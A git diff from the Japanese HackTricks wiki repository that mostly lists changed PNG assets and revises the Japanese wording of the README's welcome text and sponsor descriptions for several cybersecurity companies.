b/.gitbook/assets/image (895).png differ diff --git a/.gitbook/assets/image (896).png b/.gitbook/assets/image (896).png index b64184f9f..da99a7c62 100644 Binary files a/.gitbook/assets/image (896).png and b/.gitbook/assets/image (896).png differ diff --git a/.gitbook/assets/image (897).png b/.gitbook/assets/image (897).png index 0cadfb948..f59a94966 100644 Binary files a/.gitbook/assets/image (897).png and b/.gitbook/assets/image (897).png differ diff --git a/.gitbook/assets/image (898).png b/.gitbook/assets/image (898).png index 4bb5f2707..8f1f2230b 100644 Binary files a/.gitbook/assets/image (898).png and b/.gitbook/assets/image (898).png differ diff --git a/.gitbook/assets/image (899).png b/.gitbook/assets/image (899).png index d0ab0ee19..b64184f9f 100644 Binary files a/.gitbook/assets/image (899).png and b/.gitbook/assets/image (899).png differ diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png index 1a985c3d4..2c0467343 100644 Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ diff --git a/.gitbook/assets/image (90).png b/.gitbook/assets/image (90).png index 530b24646..629c1147c 100644 Binary files a/.gitbook/assets/image (90).png and b/.gitbook/assets/image (90).png differ diff --git a/.gitbook/assets/image (900).png b/.gitbook/assets/image (900).png index 592a4e1a0..0cadfb948 100644 Binary files a/.gitbook/assets/image (900).png and b/.gitbook/assets/image (900).png differ diff --git a/.gitbook/assets/image (901).png b/.gitbook/assets/image (901).png index c90bad4be..4bb5f2707 100644 Binary files a/.gitbook/assets/image (901).png and b/.gitbook/assets/image (901).png differ diff --git a/.gitbook/assets/image (902).png b/.gitbook/assets/image (902).png index bbff6c5f4..d0ab0ee19 100644 Binary files a/.gitbook/assets/image (902).png and b/.gitbook/assets/image (902).png differ diff --git a/.gitbook/assets/image (903).png b/.gitbook/assets/image (903).png index 606702899..592a4e1a0 100644 Binary files a/.gitbook/assets/image (903).png and b/.gitbook/assets/image (903).png differ diff --git a/.gitbook/assets/image (904).png b/.gitbook/assets/image (904).png index 757655716..c90bad4be 100644 Binary files a/.gitbook/assets/image (904).png and b/.gitbook/assets/image (904).png differ diff --git a/.gitbook/assets/image (905).png b/.gitbook/assets/image (905).png index 5109dd9b3..bbff6c5f4 100644 Binary files a/.gitbook/assets/image (905).png and b/.gitbook/assets/image (905).png differ diff --git a/.gitbook/assets/image (906).png b/.gitbook/assets/image (906).png index 3733248ec..606702899 100644 Binary files a/.gitbook/assets/image (906).png and b/.gitbook/assets/image (906).png differ diff --git a/.gitbook/assets/image (907).png b/.gitbook/assets/image (907).png index e1f6894bd..757655716 100644 Binary files a/.gitbook/assets/image (907).png and b/.gitbook/assets/image (907).png differ diff --git a/.gitbook/assets/image (908).png b/.gitbook/assets/image (908).png index 1e2588800..5109dd9b3 100644 Binary files a/.gitbook/assets/image (908).png and b/.gitbook/assets/image (908).png differ diff --git a/.gitbook/assets/image (909).png b/.gitbook/assets/image (909).png index 9cc426fc7..3733248ec 100644 Binary files a/.gitbook/assets/image (909).png and b/.gitbook/assets/image (909).png differ diff --git a/.gitbook/assets/image (91).png b/.gitbook/assets/image (91).png index 8fd9221ae..c70eb8753 100644 Binary files a/.gitbook/assets/image (91).png and b/.gitbook/assets/image (91).png differ diff --git a/.gitbook/assets/image (910).png b/.gitbook/assets/image (910).png index 13d44115a..e1f6894bd 100644 Binary files a/.gitbook/assets/image (910).png and b/.gitbook/assets/image (910).png differ diff --git a/.gitbook/assets/image (911).png b/.gitbook/assets/image (911).png index 3ec420eb9..1e2588800 100644 Binary files a/.gitbook/assets/image (911).png and b/.gitbook/assets/image (911).png differ diff --git a/.gitbook/assets/image (912).png b/.gitbook/assets/image (912).png index 3305c8600..9cc426fc7 100644 Binary files a/.gitbook/assets/image (912).png and b/.gitbook/assets/image (912).png differ diff --git a/.gitbook/assets/image (913).png b/.gitbook/assets/image (913).png index 261b7c009..13d44115a 100644 Binary files a/.gitbook/assets/image (913).png and b/.gitbook/assets/image (913).png differ diff --git a/.gitbook/assets/image (914).png b/.gitbook/assets/image (914).png index ed2eac533..3ec420eb9 100644 Binary files a/.gitbook/assets/image (914).png and b/.gitbook/assets/image (914).png differ diff --git a/.gitbook/assets/image (915).png b/.gitbook/assets/image (915).png index d15c166d5..3305c8600 100644 Binary files a/.gitbook/assets/image (915).png and b/.gitbook/assets/image (915).png differ diff --git a/.gitbook/assets/image (916).png b/.gitbook/assets/image (916).png index 5d2bec98a..261b7c009 100644 Binary files a/.gitbook/assets/image (916).png and b/.gitbook/assets/image (916).png differ diff --git a/.gitbook/assets/image (917).png b/.gitbook/assets/image (917).png index 4d56204f7..ed2eac533 100644 Binary files a/.gitbook/assets/image (917).png and b/.gitbook/assets/image (917).png differ diff --git a/.gitbook/assets/image (918).png b/.gitbook/assets/image (918).png index 07983c822..d15c166d5 100644 Binary files a/.gitbook/assets/image (918).png and b/.gitbook/assets/image (918).png differ diff --git a/.gitbook/assets/image (919).png b/.gitbook/assets/image (919).png index f99d130d7..5d2bec98a 100644 Binary files a/.gitbook/assets/image (919).png and b/.gitbook/assets/image (919).png differ diff --git a/.gitbook/assets/image (92).png b/.gitbook/assets/image (92).png index c17689b99..d56598b83 100644 Binary files a/.gitbook/assets/image (92).png and b/.gitbook/assets/image (92).png differ diff --git a/.gitbook/assets/image (920).png b/.gitbook/assets/image (920).png index bda84db54..4d56204f7 100644 Binary files a/.gitbook/assets/image (920).png and b/.gitbook/assets/image (920).png differ diff --git a/.gitbook/assets/image (921).png b/.gitbook/assets/image (921).png index 357f8f6e1..07983c822 100644 Binary files a/.gitbook/assets/image (921).png and b/.gitbook/assets/image (921).png differ diff --git a/.gitbook/assets/image (922).png b/.gitbook/assets/image (922).png index 84884c474..f99d130d7 100644 Binary files a/.gitbook/assets/image (922).png and b/.gitbook/assets/image (922).png differ diff --git a/.gitbook/assets/image (923).png b/.gitbook/assets/image (923).png index 5895dc2dd..bda84db54 100644 Binary files a/.gitbook/assets/image (923).png and b/.gitbook/assets/image (923).png differ diff --git a/.gitbook/assets/image (924).png b/.gitbook/assets/image (924).png index 17aedd90c..357f8f6e1 100644 Binary files a/.gitbook/assets/image (924).png and b/.gitbook/assets/image (924).png differ diff --git a/.gitbook/assets/image (925).png b/.gitbook/assets/image (925).png index 816c11115..84884c474 100644 Binary files a/.gitbook/assets/image (925).png and b/.gitbook/assets/image (925).png differ diff --git a/.gitbook/assets/image (926).png b/.gitbook/assets/image (926).png index 1978dd558..5895dc2dd 100644 Binary files a/.gitbook/assets/image (926).png and b/.gitbook/assets/image (926).png differ diff --git a/.gitbook/assets/image (927).png b/.gitbook/assets/image (927).png index af5dbbe3d..17aedd90c 100644 Binary files a/.gitbook/assets/image (927).png and b/.gitbook/assets/image (927).png differ diff --git a/.gitbook/assets/image (928).png b/.gitbook/assets/image (928).png index 831449f43..816c11115 100644 Binary files a/.gitbook/assets/image (928).png and b/.gitbook/assets/image (928).png differ diff --git a/.gitbook/assets/image (929).png b/.gitbook/assets/image (929).png index b9465118c..1978dd558 100644 Binary files a/.gitbook/assets/image (929).png and b/.gitbook/assets/image (929).png differ diff --git a/.gitbook/assets/image (93).png b/.gitbook/assets/image (93).png index 9c566b1b7..530b24646 100644 Binary files a/.gitbook/assets/image (93).png and b/.gitbook/assets/image (93).png differ diff --git a/.gitbook/assets/image (930).png b/.gitbook/assets/image (930).png index ad1f05669..af5dbbe3d 100644 Binary files a/.gitbook/assets/image (930).png and b/.gitbook/assets/image (930).png differ diff --git a/.gitbook/assets/image (931).png b/.gitbook/assets/image (931).png index 06900bd58..831449f43 100644 Binary files a/.gitbook/assets/image (931).png and b/.gitbook/assets/image (931).png differ diff --git a/.gitbook/assets/image (932).png b/.gitbook/assets/image (932).png index b95243241..b9465118c 100644 Binary files a/.gitbook/assets/image (932).png and b/.gitbook/assets/image (932).png differ diff --git a/.gitbook/assets/image (933).png b/.gitbook/assets/image (933).png index 15dc4be80..ad1f05669 100644 Binary files a/.gitbook/assets/image (933).png and b/.gitbook/assets/image (933).png differ diff --git a/.gitbook/assets/image (934).png b/.gitbook/assets/image (934).png index eb57ea914..06900bd58 100644 Binary files a/.gitbook/assets/image (934).png and b/.gitbook/assets/image (934).png differ diff --git a/.gitbook/assets/image (935).png b/.gitbook/assets/image (935).png index 0f8a86733..b95243241 100644 Binary files a/.gitbook/assets/image (935).png and b/.gitbook/assets/image (935).png differ diff --git a/.gitbook/assets/image (936).png b/.gitbook/assets/image (936).png index 0ac7ed6c9..15dc4be80 100644 Binary files a/.gitbook/assets/image (936).png and b/.gitbook/assets/image (936).png differ diff --git a/.gitbook/assets/image (937).png b/.gitbook/assets/image (937).png index 37ab1a51d..eb57ea914 100644 Binary files a/.gitbook/assets/image (937).png and b/.gitbook/assets/image (937).png differ diff --git a/.gitbook/assets/image (938).png b/.gitbook/assets/image (938).png index ec4d7c9ff..0f8a86733 100644 Binary files a/.gitbook/assets/image (938).png and b/.gitbook/assets/image (938).png differ diff --git a/.gitbook/assets/image (939).png b/.gitbook/assets/image (939).png index d979f9cf7..0ac7ed6c9 100644 Binary files a/.gitbook/assets/image (939).png and b/.gitbook/assets/image (939).png differ diff --git a/.gitbook/assets/image (94).png b/.gitbook/assets/image (94).png index 5dc69a4e7..8fd9221ae 100644 Binary files a/.gitbook/assets/image (94).png and b/.gitbook/assets/image (94).png differ diff --git a/.gitbook/assets/image (940).png b/.gitbook/assets/image (940).png index ffd8adf04..37ab1a51d 100644 Binary files a/.gitbook/assets/image (940).png and b/.gitbook/assets/image (940).png differ diff --git a/.gitbook/assets/image (941).png b/.gitbook/assets/image (941).png index 383a5938f..ec4d7c9ff 100644 Binary files a/.gitbook/assets/image (941).png and b/.gitbook/assets/image (941).png differ diff --git a/.gitbook/assets/image (942).png b/.gitbook/assets/image (942).png index c0008cb7b..d979f9cf7 100644 Binary files a/.gitbook/assets/image (942).png and b/.gitbook/assets/image (942).png differ diff --git a/.gitbook/assets/image (943).png b/.gitbook/assets/image (943).png index 811b2066d..ffd8adf04 100644 Binary files a/.gitbook/assets/image (943).png and b/.gitbook/assets/image (943).png differ diff --git a/.gitbook/assets/image (944).png b/.gitbook/assets/image (944).png index 22eebd987..383a5938f 100644 Binary files a/.gitbook/assets/image (944).png and b/.gitbook/assets/image (944).png differ diff --git a/.gitbook/assets/image (945).png b/.gitbook/assets/image (945).png index 8a4bb9a4a..c0008cb7b 100644 Binary files a/.gitbook/assets/image (945).png and b/.gitbook/assets/image (945).png differ diff --git a/.gitbook/assets/image (946).png b/.gitbook/assets/image (946).png index 5ffa89035..811b2066d 100644 Binary files a/.gitbook/assets/image (946).png and b/.gitbook/assets/image (946).png differ diff --git a/.gitbook/assets/image (947).png b/.gitbook/assets/image (947).png index a4059618a..22eebd987 100644 Binary files a/.gitbook/assets/image (947).png and b/.gitbook/assets/image (947).png differ diff --git a/.gitbook/assets/image (948).png b/.gitbook/assets/image (948).png index f1359eecf..8a4bb9a4a 100644 Binary files a/.gitbook/assets/image (948).png and b/.gitbook/assets/image (948).png differ diff --git a/.gitbook/assets/image (949).png b/.gitbook/assets/image (949).png index 722af5f5c..5ffa89035 100644 Binary files a/.gitbook/assets/image (949).png and b/.gitbook/assets/image (949).png differ diff --git a/.gitbook/assets/image (95).png b/.gitbook/assets/image (95).png index 33653dcb1..c17689b99 100644 Binary files a/.gitbook/assets/image (95).png and b/.gitbook/assets/image (95).png differ diff --git a/.gitbook/assets/image (950).png b/.gitbook/assets/image (950).png index 58a0172e5..a4059618a 100644 Binary files a/.gitbook/assets/image (950).png and b/.gitbook/assets/image (950).png differ diff --git a/.gitbook/assets/image (951).png b/.gitbook/assets/image (951).png index 347f7abbb..f1359eecf 100644 Binary files a/.gitbook/assets/image (951).png and b/.gitbook/assets/image (951).png differ diff --git a/.gitbook/assets/image (952).png b/.gitbook/assets/image (952).png index 474931f56..722af5f5c 100644 Binary files a/.gitbook/assets/image (952).png and b/.gitbook/assets/image (952).png differ diff --git a/.gitbook/assets/image (953).png b/.gitbook/assets/image (953).png index 8c39d83aa..58a0172e5 100644 Binary files a/.gitbook/assets/image (953).png and b/.gitbook/assets/image (953).png differ diff --git a/.gitbook/assets/image (954).png b/.gitbook/assets/image (954).png index 9f0290b72..347f7abbb 100644 Binary files a/.gitbook/assets/image (954).png and b/.gitbook/assets/image (954).png differ diff --git a/.gitbook/assets/image (955).png b/.gitbook/assets/image (955).png index 3f805b3ce..474931f56 100644 Binary files a/.gitbook/assets/image (955).png and b/.gitbook/assets/image (955).png differ diff --git a/.gitbook/assets/image (956).png b/.gitbook/assets/image (956).png index addb8bdde..8c39d83aa 100644 Binary files a/.gitbook/assets/image (956).png and b/.gitbook/assets/image (956).png differ diff --git a/.gitbook/assets/image (957).png b/.gitbook/assets/image (957).png index 226538de2..9f0290b72 100644 Binary files a/.gitbook/assets/image (957).png and b/.gitbook/assets/image (957).png differ diff --git a/.gitbook/assets/image (958).png b/.gitbook/assets/image (958).png index 84874207b..3f805b3ce 100644 Binary files a/.gitbook/assets/image (958).png and b/.gitbook/assets/image (958).png differ diff --git a/.gitbook/assets/image (959).png b/.gitbook/assets/image (959).png index c4b1b5d48..addb8bdde 100644 Binary files a/.gitbook/assets/image (959).png and b/.gitbook/assets/image (959).png differ diff --git a/.gitbook/assets/image (96).png b/.gitbook/assets/image (96).png index 1f3811eca..9c566b1b7 100644 Binary files a/.gitbook/assets/image (96).png and b/.gitbook/assets/image (96).png differ diff --git a/.gitbook/assets/image (960).png b/.gitbook/assets/image (960).png index 24c2844c3..226538de2 100644 Binary files a/.gitbook/assets/image (960).png and b/.gitbook/assets/image (960).png differ diff --git a/.gitbook/assets/image (961).png b/.gitbook/assets/image (961).png index ee9f710d4..84874207b 100644 Binary files a/.gitbook/assets/image (961).png and b/.gitbook/assets/image (961).png differ diff --git a/.gitbook/assets/image (962).png b/.gitbook/assets/image (962).png index 2528d1e23..c4b1b5d48 100644 Binary files a/.gitbook/assets/image (962).png and b/.gitbook/assets/image (962).png differ diff --git a/.gitbook/assets/image (963).png b/.gitbook/assets/image (963).png index 16db588fc..24c2844c3 100644 Binary files a/.gitbook/assets/image (963).png and b/.gitbook/assets/image (963).png differ diff --git a/.gitbook/assets/image (964).png b/.gitbook/assets/image (964).png index 1f7dea20a..ee9f710d4 100644 Binary files a/.gitbook/assets/image (964).png and b/.gitbook/assets/image (964).png differ diff --git a/.gitbook/assets/image (965).png b/.gitbook/assets/image (965).png index 674171522..2528d1e23 100644 Binary files a/.gitbook/assets/image (965).png and b/.gitbook/assets/image (965).png differ diff --git a/.gitbook/assets/image (966).png b/.gitbook/assets/image (966).png index cfef5b39f..16db588fc 100644 Binary files a/.gitbook/assets/image (966).png and b/.gitbook/assets/image (966).png differ diff --git a/.gitbook/assets/image (967).png b/.gitbook/assets/image (967).png index 07aa1e747..1f7dea20a 100644 Binary files a/.gitbook/assets/image (967).png and b/.gitbook/assets/image (967).png differ diff --git a/.gitbook/assets/image (968).png b/.gitbook/assets/image (968).png index 6ee1afc03..674171522 100644 Binary files a/.gitbook/assets/image (968).png and b/.gitbook/assets/image (968).png differ diff --git a/.gitbook/assets/image (969).png b/.gitbook/assets/image (969).png index 1defaaff1..cfef5b39f 100644 Binary files a/.gitbook/assets/image (969).png and b/.gitbook/assets/image (969).png differ diff --git a/.gitbook/assets/image (97).png b/.gitbook/assets/image (97).png index 2fde683ec..5dc69a4e7 100644 Binary files a/.gitbook/assets/image (97).png and b/.gitbook/assets/image (97).png differ diff --git a/.gitbook/assets/image (970).png b/.gitbook/assets/image (970).png index 35ddb985b..07aa1e747 100644 Binary files a/.gitbook/assets/image (970).png and b/.gitbook/assets/image (970).png differ diff --git a/.gitbook/assets/image (971).png b/.gitbook/assets/image (971).png index c072058b6..6ee1afc03 100644 Binary files a/.gitbook/assets/image (971).png and b/.gitbook/assets/image (971).png differ diff --git a/.gitbook/assets/image (972).png b/.gitbook/assets/image (972).png index 90dd85e30..1defaaff1 100644 Binary files a/.gitbook/assets/image (972).png and b/.gitbook/assets/image (972).png differ diff --git a/.gitbook/assets/image (973).png b/.gitbook/assets/image (973).png index 4f2c9b758..35ddb985b 100644 Binary files a/.gitbook/assets/image (973).png and b/.gitbook/assets/image (973).png differ diff --git a/.gitbook/assets/image (974).png b/.gitbook/assets/image (974).png index d6a565eb6..c072058b6 100644 Binary files a/.gitbook/assets/image (974).png and b/.gitbook/assets/image (974).png differ diff --git a/.gitbook/assets/image (975).png b/.gitbook/assets/image (975).png index 7ebf7f05b..90dd85e30 100644 Binary files a/.gitbook/assets/image (975).png and b/.gitbook/assets/image (975).png differ diff --git a/.gitbook/assets/image (976).png b/.gitbook/assets/image (976).png index 4d79f5764..4f2c9b758 100644 Binary files a/.gitbook/assets/image (976).png and b/.gitbook/assets/image (976).png differ diff --git a/.gitbook/assets/image (977).png b/.gitbook/assets/image (977).png index 3269b7f67..d6a565eb6 100644 Binary files a/.gitbook/assets/image (977).png and b/.gitbook/assets/image (977).png differ diff --git a/.gitbook/assets/image (978).png b/.gitbook/assets/image (978).png index 9d8662682..7ebf7f05b 100644 Binary files a/.gitbook/assets/image (978).png and b/.gitbook/assets/image (978).png differ diff --git a/.gitbook/assets/image (979).png b/.gitbook/assets/image (979).png index 13f03d4b7..4d79f5764 100644 Binary files a/.gitbook/assets/image (979).png and b/.gitbook/assets/image (979).png differ diff --git a/.gitbook/assets/image (98).png b/.gitbook/assets/image (98).png index 53a923405..33653dcb1 100644 Binary files a/.gitbook/assets/image (98).png and b/.gitbook/assets/image (98).png differ diff --git a/.gitbook/assets/image (980).png b/.gitbook/assets/image (980).png index ffea8afba..3269b7f67 100644 Binary files a/.gitbook/assets/image (980).png and b/.gitbook/assets/image (980).png differ diff --git a/.gitbook/assets/image (981).png b/.gitbook/assets/image (981).png index e34331290..9d8662682 100644 Binary files a/.gitbook/assets/image (981).png and b/.gitbook/assets/image (981).png differ diff --git a/.gitbook/assets/image (982).png b/.gitbook/assets/image (982).png index c4bf20c0f..13f03d4b7 100644 Binary files a/.gitbook/assets/image (982).png and b/.gitbook/assets/image (982).png differ diff --git a/.gitbook/assets/image (983).png b/.gitbook/assets/image (983).png index 9026552a7..ffea8afba 100644 Binary files a/.gitbook/assets/image (983).png and b/.gitbook/assets/image (983).png differ diff --git a/.gitbook/assets/image (984).png b/.gitbook/assets/image (984).png index 597457563..e34331290 100644 Binary files a/.gitbook/assets/image (984).png and b/.gitbook/assets/image (984).png differ diff --git a/.gitbook/assets/image (985).png b/.gitbook/assets/image (985).png index d504c55ec..c4bf20c0f 100644 Binary files a/.gitbook/assets/image (985).png and b/.gitbook/assets/image (985).png differ diff --git a/.gitbook/assets/image (986).png b/.gitbook/assets/image (986).png index ab5d833dc..9026552a7 100644 Binary files a/.gitbook/assets/image (986).png and b/.gitbook/assets/image (986).png differ diff --git a/.gitbook/assets/image (987).png b/.gitbook/assets/image (987).png index 97522921c..597457563 100644 Binary files a/.gitbook/assets/image (987).png and b/.gitbook/assets/image (987).png differ diff --git a/.gitbook/assets/image (988).png b/.gitbook/assets/image (988).png index 1065c7b82..d504c55ec 100644 Binary files a/.gitbook/assets/image (988).png and b/.gitbook/assets/image (988).png differ diff --git a/.gitbook/assets/image (989).png b/.gitbook/assets/image (989).png index e73c84494..ab5d833dc 100644 Binary files a/.gitbook/assets/image (989).png and b/.gitbook/assets/image (989).png differ diff --git a/.gitbook/assets/image (99).png b/.gitbook/assets/image (99).png index 8b7813787..1f3811eca 100644 Binary files a/.gitbook/assets/image (99).png and b/.gitbook/assets/image (99).png differ diff --git a/.gitbook/assets/image (990).png b/.gitbook/assets/image (990).png index 422cbdc04..97522921c 100644 Binary files a/.gitbook/assets/image (990).png and b/.gitbook/assets/image (990).png differ diff --git a/.gitbook/assets/image (991).png b/.gitbook/assets/image (991).png index f33c3c9b5..1065c7b82 100644 Binary files a/.gitbook/assets/image (991).png and b/.gitbook/assets/image (991).png differ diff --git a/.gitbook/assets/image (992).png b/.gitbook/assets/image (992).png index 77284ef32..e73c84494 100644 Binary files a/.gitbook/assets/image (992).png and b/.gitbook/assets/image (992).png differ diff --git a/.gitbook/assets/image (993).png b/.gitbook/assets/image (993).png index ca3f3bb95..422cbdc04 100644 Binary files a/.gitbook/assets/image (993).png and b/.gitbook/assets/image (993).png differ diff --git a/.gitbook/assets/image (994).png b/.gitbook/assets/image (994).png index 2eafdd175..f33c3c9b5 100644 Binary files a/.gitbook/assets/image (994).png and b/.gitbook/assets/image (994).png differ diff --git a/.gitbook/assets/image (995).png b/.gitbook/assets/image (995).png index 49dbc7536..77284ef32 100644 Binary files a/.gitbook/assets/image (995).png and b/.gitbook/assets/image (995).png differ diff --git a/.gitbook/assets/image (996).png b/.gitbook/assets/image (996).png index 47a9e657a..ca3f3bb95 100644 Binary files a/.gitbook/assets/image (996).png and b/.gitbook/assets/image (996).png differ diff --git a/.gitbook/assets/image (997).png b/.gitbook/assets/image (997).png index 8275bf4e1..2eafdd175 100644 Binary files a/.gitbook/assets/image (997).png and b/.gitbook/assets/image (997).png differ diff --git a/.gitbook/assets/image (998).png b/.gitbook/assets/image (998).png index 088cfb275..49dbc7536 100644 Binary files a/.gitbook/assets/image (998).png and b/.gitbook/assets/image (998).png differ diff --git a/.gitbook/assets/image (999).png b/.gitbook/assets/image (999).png index e146bcdd2..47a9e657a 100644 Binary files a/.gitbook/assets/image (999).png and b/.gitbook/assets/image (999).png differ diff --git a/README.md b/README.md index a2585697e..24baac689 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# HackTricks +# ハックトリックス @@ -8,31 +8,31 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w **CTF、実際のアプリ、リサーチ、ニュースから学んだハッキングトリック/テクニック/その他を見つけるウィキへようこそ。** {% endhint %} -始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけることができるこのページに従ってください: +始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけるこちらのページに従ってください: {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) {% endcontent-ref %} -## Corporate Sponsors +## コーポレートスポンサー ### [STM Cyber](https://www.stmcyber.com) -[**STM Cyber**](https://www.stmcyber.com)は、**HACK THE UNHACKABLE**というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなど、さまざまな貴重なサイバーセキュリティサービスを提供しています。 +[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなど、さまざまな価値あるサイバーセキュリティサービスを提供しています。 -彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。 +[**https://blog.stmcyber.com**](https://blog.stmcyber.com) で彼らの**ブログ**をチェックできます。 -**STM Cyber**はHackTricksのサポートもしています :) +**STM Cyber** は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :) *** ### [RootedCON](https://www.rootedcon.com/) - + -[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術的知識の促進**を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。 +[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。 {% embed url="https://www.rootedcon.com/" %} @@ -40,11 +40,11 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [Intigriti](https://www.intigriti.com) - + -**Intigriti**は**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。 +**Intigriti** は**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。 -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう! +**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -52,10 +52,10 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**できます。 +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**できます。 今すぐアクセスしてください: @@ -65,23 +65,23 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [HACKENPROOF](https://bit.ly/3xrrDrL) - + 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! * **ハッキングの洞察:** ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 -* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、迅速なハッキングワールドに最新情報をキャッチアップ -* **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握 +* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける +* **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手 -**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!** +今日から[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、トップハッカーと協力を始めましょう! *** ### [Pentest-Tools.com](https://pentest-tools.com/) - エッセンシャルなペネトレーションテストツールキット - + -**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げ、シェルをポップし、楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。 +**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えたフルペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。 {% embed url="https://pentest-tools.com/" %} @@ -89,16 +89,16 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [SerpApi](https://serpapi.com/) - + SerpApiは、高速で簡単なリアルタイムAPIを提供して、**検索エンジンの結果にアクセス**できます。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチな構造化データを解析します。 -SerpApiのプランに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\ -他のプロバイダとは異なり、**SerpApiは有機的な結果だけでなく**、広告、インライン画像や動画、ナレッジグラフなど、検索結果に表示される他の要素や機能を一貫して含めます。 +SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\ +他のプロバイダとは異なり、**SerpApiは有機的な結果だけをスクレイピングするのではありません**。 SerpApiのレスポンスには常に、検索結果に存在する広告、インライン画像やビデオ、ナレッジグラフなど、他の要素や機能が一貫して含まれます。 -現在のSerpApiの顧客には**Apple、Shopify、GrubHub**などが含まれます。\ -詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、彼らの[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\ -無料アカウントを[**こちら**](https://serpapi.com/users/sign\_up)で作成できます。 +現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**などが含まれます。\ +詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックしてください。または、彼らの[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\ +[**こちら**](https://serpapi.com/users/sign\_up)で**無料アカウント**を作成できます。 *** @@ -114,30 +114,30 @@ SerpApiのプランに加入すると、Google、Bing、Baidu、Yahoo、Yandex -[**WebSec**](https://websec.nl)は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業で、**現代的なアプローチ**でビジネスを**世界中**の最新のサイバーセキュリティ脅威から保護するのを支援します。 +[**WebSec**](https://websec.nl) は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ企業であり、**現代的なアプローチ**でビジネスを**世界中**の最新のサイバーセキュリティ脅威から保護するのを支援します。 -WebSecは**すべてを手掛けるセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託などを提供しています。 